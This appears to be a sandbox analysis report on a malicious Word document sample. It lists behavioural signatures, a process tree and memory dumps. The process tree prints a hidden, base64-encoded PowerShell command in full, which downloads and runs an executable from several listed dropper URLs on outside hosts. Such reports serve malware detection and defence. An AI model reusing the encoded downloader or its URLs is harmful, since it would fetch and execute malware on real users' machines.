Resubmissions
25/04/2025, 03:24
250425-dybpssslt325/04/2025, 03:22
250425-dxdsrssls71013/04/2025, 09:37
250413-lljhwatshw1013/04/2025, 09:33
250413-ljk9patsex10Analysis
- max time kernel
103s - max time network
124s - platform
windows11-21h2_x64 - resource
win11-20250410-en - resource tags
- submitted
25/04/2025, 03:22
General
- Target virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc
- Size 172KB
- Sample250425-dxdsrssls7
- SHA256 4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/
-
exe.dropper
https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/
-
exe.dropper
http://homemyland.net/tmp/wUHdeBS/
-
exe.dropper
https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/
-
exe.dropper
http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\3\VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABCAHgAdQBoAGkAaABuAHIAdwBrAHoAbgBiAD0AJwBRAHIAYQBnAGkAcAB4AHcAZwAnADsAJABBAG4AdwBtAGkAdwBiAHUAegBoAHAAIAA9ACAAJwAyADEANgAnADsAJABUAHoAbgBsAG8AaQB5AGoAZgA9ACcASABzAHcAeQBkAGQAdwB5AGcAaQBzAGQAaAAnADsAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBuAHcAbQBpAHcAYgB1AHoAaABwACsAJwAuAGUAeABlACcAOwAkAEEAZwBkAGIAbgBjAHAAYQB0AHMAPQAnAEwAZQBkAGUAYwBsAHYAcwBvAGwAcgB0AHQAJwA7ACQAVwBuAGsAdgB4AHcAYgBhAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAEMATABpAEUAbgBUADsAJABXAHoAagBsAGkAbABqAGMAZQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAcgBvAHIAaQB0AGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAcwBkAGIAMgA4AGQAZQAtAGsAdwAwAGMAaAAxAG0AcwB2AGkALQAwADAAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBpAGwAdgBlAHMAdABlAHIAaQBuAG0AYQBpAGwAYQBuAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBiAHYAZwB1AHgALQB5AGcANAAtADAAMwA0ADcANQAvACoAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAG0AeQBsAGEAbgBkAC4AbgBlAHQALwB0AG0AcAAvAHcAVQBIAGQAZQBCAFMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAZQBsAGIAcgBhAC4AYwBvAG0ALgBiAHIALwBvAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AMgAwADEAOQAvAG0AYgB3AGwANgAtAGwAdwB1ADAAcABzAG0AYwBiAC0ANQAyADMALwAqAGgAdAB0AHAAOgAvAC8AcAByAGkAaABsAGEAcwBrAGEALgBzAGEAZwBpAHQAdABhAC4AYwB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBXAHcAYwBRAFgAdABSAHQAYQAvACcALgAiAHMAcABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAHkAYgB3AGYAZQBmAGgAcgA9ACcAUgB0AHMAcwBkAGcAdQBlAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbABxAHYAcQBnAHMAZgB4AGoAYwByAGEAIABpAG4AIAAkAFcAegBqAGwAaQBsAGoAYwBlACkAewB0AHIAeQB7ACQAVwBuAGsAdgB4AHcAYgBhAC4AIgBEAG8AYABXAG4ATABgAE8AQQBkAEYAaQBsAEUAIgAoACQAWgBsAHEAdgBxAGcAcwBmAHgAagBjAHIAYQAsACAAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegApADsAJABEAHAAcgBtAG4AdQBvAHAAPQAnAEUAdgBjAGIAcwB2AGQAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADcANgA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQA7ACQAWQB1AGIAYQB2AGkAbAB6AHAAeQBuAGsAdgA9ACcAVABxAGsAdABiAHcAeABtAHkAJwA7AGIAcgBlAGEAawA7ACQATABrAHIAawBlAHcAcQBlAHIAeABrAD0AJwBHAGUAawBzAGcAaQBzAGYAZwByAGoAZAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAYgBoAGQAbABmAHcAYgBoAGUAPQAnAFUAcgB0AGgAaQBkAGwAbQB4AG0AZQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
4305A557.wmf
iso690.xsl
__PSScriptPolicyTest_aaywempl.hpo.ps1
fb3b0dbfee58fac8.customDestinations-ms
memory/4516-7-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-2-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-14-0x00007FFF9B230000-0x00007FFF9B240000-memory.dmp
memory/4516-12-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-16-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-17-0x00007FFF9B230000-0x00007FFF9B240000-memory.dmp
memory/4516-11-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-19-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-18-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-21-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-23-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-22-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-20-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-10-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-6-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-4-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-3-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-15-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-0-0x00007FFFDD903000-0x00007FFFDD904000-memory.dmp
memory/4516-1-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-13-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-8-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-250-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-65-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-64-0x00007FFFDD903000-0x00007FFFDD904000-memory.dmp
memory/4516-66-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-9-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-72-0x00007FFFDD860000-0x00007FFFDDA69000-memory.dmp
memory/4516-5-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-246-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-247-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-249-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4516-248-0x00007FFF9D8F0000-0x00007FFF9D900000-memory.dmp
memory/4996-54-0x00000228FF9F0000-0x00000228FFA12000-memory.dmp